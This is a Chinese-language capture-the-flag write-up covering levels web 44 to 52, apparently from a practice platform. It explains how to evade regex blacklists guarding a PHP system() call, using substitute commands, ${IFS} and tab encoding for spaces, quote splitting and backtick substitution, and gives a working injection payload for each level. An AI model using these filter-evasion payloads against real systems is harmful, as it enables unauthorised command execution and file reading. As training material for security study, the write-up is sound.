目錄
-
- web 44
- web 45
- web 46
- web 47
- web 48
- web 49
- web 50
- web 51
- web 52
web 44
if(!preg_match("/;|cat|flag/i", $c))
{system($c." >/dev/null 2>&1");
這題過濾了cat,flag
關于cat的過濾繞過可以用以下指令來替換
cat file1 從第一個位元組開始正向檢視檔案的内容
tac file1 從最後一行開始反向檢視一個檔案的内容
more file1 檢視一個長檔案的内容
less file1 類似于 ‘more’ 指令,但是它允許在檔案中和正向操作一樣的反向操作
head file1 檢視一個檔案
tail file1 檢視一個檔案
awk file1 檢視一個檔案
sort file1 将檔案的每一行作為一個機關,互相比較,比較原則是從首字元向後,依次按ASCII碼值進行比較,最後将他們按升序輸出。
nl file1 可以将輸出的檔案内容自動的加上行号
也可以用單雙引号,通配符,拼接等方式繞過
關于flag的過濾可以用單雙引号,通配符繞過,也利用反引号·ls·直接将全部檔案抓取
playload:?c=tac `ls`||
web 45
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1"); }
多過濾了空格
空格可以用以下方法替代
${IFS}
<>
%09等
playload:?c=tac%09`ls`||
web 46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
{system($c." >/dev/null 2>&1");}
多過濾了數字,$,*
空格可以用<>替代,但不可以再用
ls
了,因為<,>這兩個是重定向的輸入輸出,與
ls
一起會将結果給模糊了,進而操作失敗。是以改用單雙引号繞過
這邊有重定向的詳解連結
playload:?c=tac<>fl''ag.php||
web 47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c))
{ system($c." >/dev/null 2>&1"); }
多過濾了幾個指令,但nl,awk,tac沒被過濾
可以繼續用
playload:?c=nl<>fl''ag.php||
web 48
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
好家夥,這裡可以帶上小本本,記筆記。把這些被過濾的記下來,萬一以後有哪天哪題沒過濾這些,不就秒了(狗頭)
同web48,要不nl 要不單雙引,拼接等繞過
playload:?c=nl<>fl''ag.php||
web 49
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
多過濾了%
playload同上
web 50
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
多過濾了%09( ),%26("),問題不大
playload同web49
web 51
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
多過濾了tac,問題不大用
playload:?c=nl<>fl''ag.php||
web 52
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
多過濾了<>,空格可以用${IFS}替代
然後同上,但得到一個虛假的flag,
然後進行查找檔案,最後在根目錄下找到了flag檔案
?c=ls${IFS}/||//查找根目錄下檔案
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
playload:?c=nl${IFS}/fl''ag||